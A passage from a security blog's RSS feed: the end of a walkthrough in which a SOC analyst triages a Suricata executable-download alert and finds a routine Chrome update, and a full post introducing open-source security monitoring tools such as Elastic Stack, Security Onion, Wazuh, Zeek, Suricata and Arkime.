src="https://cdn-images-1.medium.com/max/349/1*YYzEH6KHRKzMdHtA5V6ZvA.png" /><figcaption>Options when you click on an alert.</figcaption></figure><p>The next screen has some very important output for me. It displays the entire message, <a href="https://doc.emergingthreats.net/2018959">the rule</a> that triggered the alert, and the payload. When I check the rule I can see that it looks for an established session over HTTP and it checks if there’s an MZ header present. <a href="https://en.wikipedia.org/wiki/DOS_MZ_executable">The MZ header</a> (0x4D 5A) is the magic number at the start of DOS executables. I will not go into detail on how snort rules work, since that could be an entire guide by itself and there are <a href="http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node27.html">already many out there.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*eFGKSegdKXUN7JluFsWF5A.png" /><figcaption>MZ header with DOS stub</figcaption></figure><p>So now what? What are the source and destination address? Source is 10.8.0.3 which according to our CMDB is a Domain Controller (DC). Interesting, because our DC’s should not have direct internet access. The destination IP is 34.104.35[.]123 belongs to Google User Content when performing some basic OSINT. At this point my hypotheses is that this is an automatic update from Chrome, because OSINT tells me that this IP range from Google is used for such things. Now I need to see if my hypotheses is correct. Here <a href="https://en.wikipedia.org/wiki/Confirmation_bias">confirmation bias</a> comes into play, so I do not want so search for information that proves my theory, but disproves it.</p><p>A handy feature in SO is the correlate button. This searches for similar events surrounding the alert. Doing this yields some interesting events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5xeEl34UOyeaKIqo82zVfw.png" /><figcaption>Result of log correlation</figcaption></figure><p>Here we see that besides Suricata, Zeek also detected HTTP connections between these hosts. Zeek creates network metadata and also logs connections. Now, the first three events are the Suricata alerts we’ve already seen, but the fourth one on the list is new. Let’s take a closer look shall we?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5EPcbIif_YB78Pm9vUg2IQ.png" /><figcaption>Zeek event</figcaption></figure><p>So what do we have here? I have numbered important fields for me. <strong>Number 1 </strong>is the HTTP method, which is GET. Combined with <strong>number 2 </strong>status code and message 200/OK I know that the connection was succesful. At <strong>number 3</strong> we see that URL where the executable was downloaded from. We now know the name is Google Update/1.3.36.82 which was downloaded from <strong>number 4</strong> edgedl.me.gvt1[.]com. A quick check in the Event Logs from the DC shows that Google Chrome was updated to this version at that time. So let’s recap what we know:</p><ul><li>The DC performed a GET request to download a file;</li><li>The URL and IP the file was downloaded from are from Google;</li><li>Both are also known to disperse updates;</li><li>The Windows Event Logs confirm Google Chrome was updated;</li></ul><p>Now, I could check the DC if I can find the executable to do some forensic investigation or if I have a PCAP available and can distill the executable and do the same. However that takes a lot of work and at this point I am confident that this is normal traffic. I will not call this a false positive because the behaviour is exactly in line with the rule, however it is not malicious. So what’s next?</p><p>I have written an incident report detailing what happend and I updated our FAQ and playbooks with the details. Next time someone comes across this alert they can see if someone already investigated this which might result in a quicker and more efficient investigation. Besides that, I will let someone check why the DC has direct internet access (a new incident on its own) and acknowledge the alert in SO.</p><p>So what are the key takeaways I would like you to remember? First of all, stay calm. Try to form a complete image of what’s going on and what everything in the alert means. Use the tools at your disposal, these may include PCAPs, Event Logs, OSINT, CMDB, network engineers and many more. Write down what you did. You want to be able to reproduce what portrayed at a later time for archiving purposes but also for reporting if needed, for instance when the alert evolves into a full blown incident or crisis.</p><p>Also, know your network. Know what is normal and know what is abnormal behaviour. Talk with your sysadmins and network engineers and ask them when you see something weird. As a SOC analyst, these people should be your best friends. They know what’s up and can help you with your investigation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8008a43db52" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[An Introduction To Security Monitoring With Open Source Software]]></title>
            <link>https://cyb3rtus.medium.com/an-introduction-to-security-monitoring-with-open-source-software-5ce03fa26a88?source=rss-7937ef837a2f------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ce03fa26a88</guid>
            <category><![CDATA[logging]]></category>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[purple-teaming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Cyb3rt]]></dc:creator>
            <pubDate>Thu, 03 Jun 2021 12:26:29 GMT</pubDate>
            <atom:updated>2021-06-03T12:26:29.687Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*Q8o-Myqb0Q45mnSiuin-Eg.jpeg" /><figcaption><em>(Image: </em><a href="https://stock.adobe.com/images/system-security-specialist-working-at-system-control-center-room-is-full-of-screens-displaying-various-information/163119167?prev_url=detail"><em>Gorodenkoff</em></a><em> — stock.adobe.com)</em></figcaption></figure><p><strong>Why another post about security monitoring?</strong></p><p>Having worked (and build) in Security Operations Centers (SOC) for many years and having observed many organizations during Chapter8’s Purple Team missions, in my experience many companies still view security monitoring as something magical and believe you need a SOC to perform this task. This may seem daunting especially for smaller organizations. But in today’s climate, you can’t get away with doing nothing anymore. You should do some form of security monitoring and log analysis, if only to provide data after a breach.</p><p>That being said, utilising Open Source Software <em>smartly </em>can lead to much more visibility in your network without having to spend a lot of money on a SOC, a managed security provider (MSP) or a commercial Security Information and Event Management (SIEM). Especially when you’re starting with zero insight. This will also enable you to grow into a SOC or MSP because you can make informed decisions based on real-time data, making sure you spend your money wisely.</p><p><strong>What this introduction is and isn’t.</strong></p><p>This isn’t a guide on how to build a full fledged SOC, train your people or design a complete logging and monitoring infrastructure, although I might write those in the future. I will provide a list (in no particular order) with the tools that work well in my experience and how you can use them. Most tools also provide some form of demo or free trial so you can check them out before diving in. All these tools provide documents on their own that will guide you through installation and usage. Now that we’ve got that out of the way, let’s get to the fun stuff!</p><p><strong>Elastic Stack</strong></p><p>The <a href="https://www.elastic.co/">Elastic Stack</a> is my goto SIEM. The basic tier is completely free and only requires some hardware and dedication to get to know the inner workings. The website provides excellent documentation on usage and there is an active community around Elastic.</p><p>Elastic Stack has several components that work together, namely Elastic Search, Logstash, Kibana and Beats. Beats are the agents that ship your data to Elastic Search or Logstash, Logstash can ingest and transform data and Kibana provides you with data visualisation. Having Elastic Search as a base means that the stack is very scalable.</p><p>What makes the Elastic Stack great for me however is the (also free) Elastic Security Integration. This takes some effort setting up, but is really worth it. From their website:</p><blockquote>Elastic Security provides the following security benefits and capabilities:</blockquote><blockquote>- A detection engine to identify attacks and system misconfigurations</blockquote><blockquote>- A workspace for event triage and investigations</blockquote><blockquote>- Interactive visualizations to investigate process relationships</blockquote><blockquote>- Inbuilt case management with automated actions</blockquote><blockquote>- Detection of signatureless attacks with prebuilt machine learning anomaly jobs and detection rules</blockquote><p>Having used these features for a while I can safely say they work very well and Elastic is working hard on improving and adding them. Elastic works really well if you already have security devices or Intrusion Detection Capabilities (IDS) in your network. If you don’t, the next one on the list might be better suited for your needs.</p><p><strong>Security Onion</strong></p><p>Having had a major overhaul, <a href="https://securityonionsolutions.com/">Security Onion</a> is a one stop shop SIEM. It comes as a standalone package or in a distributed form and is very scalable. From their website:</p><blockquote>Security Onion is a free and open Linux distribution for threat hunting, enterprise security monitoring, and log management. It includes <a href="https://docs.securityonion.net/en/2.3/hive.html#hive">TheHive</a>, <a href="https://docs.securityonion.net/en/2.3/playbook.html#playbook">Playbook</a>, <a href="https://docs.securityonion.net/en/2.3/fleet.html#fleet">Fleet</a>, <a href="https://docs.securityonion.net/en/2.3/osquery.html#osquery">osquery</a>, <a href="https://docs.securityonion.net/en/2.3/cyberchef.html#cyberchef">CyberChef</a>, <a href="https://docs.securityonion.net/en/2.3/elasticsearch.html#elasticsearch">Elasticsearch</a>, <a href="https://docs.securityonion.net/en/2.3/logstash.html#logstash">Logstash</a>, <a href="https://docs.securityonion.net/en/2.3/kibana.html#kibana">Kibana</a>, <a href="https://docs.securityonion.net/en/2.3/suricata.html#suricata">Suricata</a>, <a href="https://docs.securityonion.net/en/2.3/zeek.html#zeek">Zeek</a>, <a href="https://docs.securityonion.net/en/2.3/wazuh.html#wazuh">Wazuh</a>, and many other security tools.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eThcvfPCZEDKpw5JEjtKQQ.png" /><figcaption>Alert View from our training environment</figcaption></figure><p>The reason why I like this is because it has one interface from which you can Threat Hunt, investigate alerts, analyze network data (PCAP), search hashes on Virustotal and more. The integration with Suricata provides you with an excellent IDS, Zeek can provide you with PCAPs, Playbook with detection plays based on <a href="https://github.com/SigmaHQ/sigma">Sigma</a> rules and Wazuh with hardening guides on Windows and Linux.</p><p><strong>Wazuh</strong></p><p>Also part of Security Onion, but <a href="https://wazuh.com/">Wazuh</a> deserves its own mention. Besides being a SIEM and based on the Elastic Stack, it provides Endpoint Detection and Response (EDR), Compliance Management for things like HIPAA, PCI and GDPR and IDS integration with <a href="https://www.owlh.net/">OwlH</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PZD3xYBWFS64jQmKxRhSnw.png" /><figcaption>Image from wazuh.com</figcaption></figure><p>A big plus for Wazuh is that it comes with one agent, while both Elastic and Security Onion use several different agents for different tasks. Elastic is working on one unified Beats agent though and improving agent management, but as of this writing those are still in beta. It is the easiest and fastest to setup and provides situational awareness in your network.</p><p><strong>Network Security Monitoring</strong></p><p>If you don’t want a complete SIEM you can focus on just Network Security Monitoring (NSM). There are several tools I can recommend for this task, some of which are also part of the SIEMs mentioned earlier. I do have to note that Suricata and Zeek do not provide a User Interface, so unless you want to search logs on the command line interface you will still need a tool like the Elastic Stack to provide visuals.</p><p><strong>Arkime</strong></p><p>Formerly known as Moloch, <a href="https://arkime.com/">Arkime</a> is a full packet capture search tool. It provides a web-based search tool, great session information and visualisation and hunting capabilities. A recurring theme is that Arkime also uses Elastic Search for managing its data, which again means that it is highly scalable. I recommend checking out their demo and reading the docs to learn more about Arkime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F9eoqO3BM0bsoNaKdxEo8Q.png" /><figcaption>Screenshot from the online demo at arkime.com.</figcaption></figure><p><strong>Zeek</strong></p><p>Having changed it’s name from Bro, <a href="https://docs.zeek.org/en/lts/about.html#what-is-zeek">Zeek</a> is a Network Traffic Analyzer that provides a huge range of options. It collects data from a whole range of connections, including HTTP requests, SSL certificates and DNS. It can even extract files from HTTP sessions and detect malware. When coupled with something like Elastic, output looks something like the below screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TUO47_DGlUYSTUq1a4xLCA.png" /><figcaption>Zeek logs in Security Onion/Kibana.</figcaption></figure><p><strong>Suricata</strong></p><p><a href="https://suricata-ids.org/">Suricata</a> is an IDS, IPS and NSM all in one. It uses rules to detect threats and, can analyse PCAP files and like Zeek can log network data. It has it’s own rules but can also use the <a href="https://doc.emergingthreats.net/">Emerging Threats</a> Open or Pro (maintained by Proofpoint) rules. Writing your own rules is fairly easy and new rules for upcoming threats are often shared in Open Source Threat Intell. Below you’ll see an example from our training environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k3FWdnqiFK8tU7Fh_dIuAg.png" /><figcaption>Suricata Rule in Security Onion/Kibana.</figcaption></figure><p><strong>TL;DR</strong></p><p>There are many more tools, but these are some of the more popular ones that just work. I know that starting with any of them can be difficult, but just start small. Try it out in a small environment, get to know the tool. Don’t forget to involve your sysadmins and network administrators, as they will probably already know a lot about what’s going on in your network and what are anomalies. This will be a bit cheesy, but everyday you do more security monitoring you have more visibility and insight than the day before.</p><p><strong>Resources</strong></p><p>Some other resources to help you on the way:</p><ul><li><a href="https://github.com/JSCU-NL/logging-essentials">https://github.com/JSCU-NL/logging-essentials</a> (guide on Windows logging from the Dutch AIVD)</li><li><a href="https://github.com/ukncsc/lme">https://github.com/ukncsc/lme</a> (Logging made easy from NCSC-UK)</li><li><a href="https://medium.com/the-lavender-project/blue-team-201-detection-where-do-you-start-76540dbceeb0">https://medium.com/the-lavender-project/blue-team-201-detection-where-do-you-start-76540dbceeb0</a> (Great guide on what to log)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ce03fa26a88" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>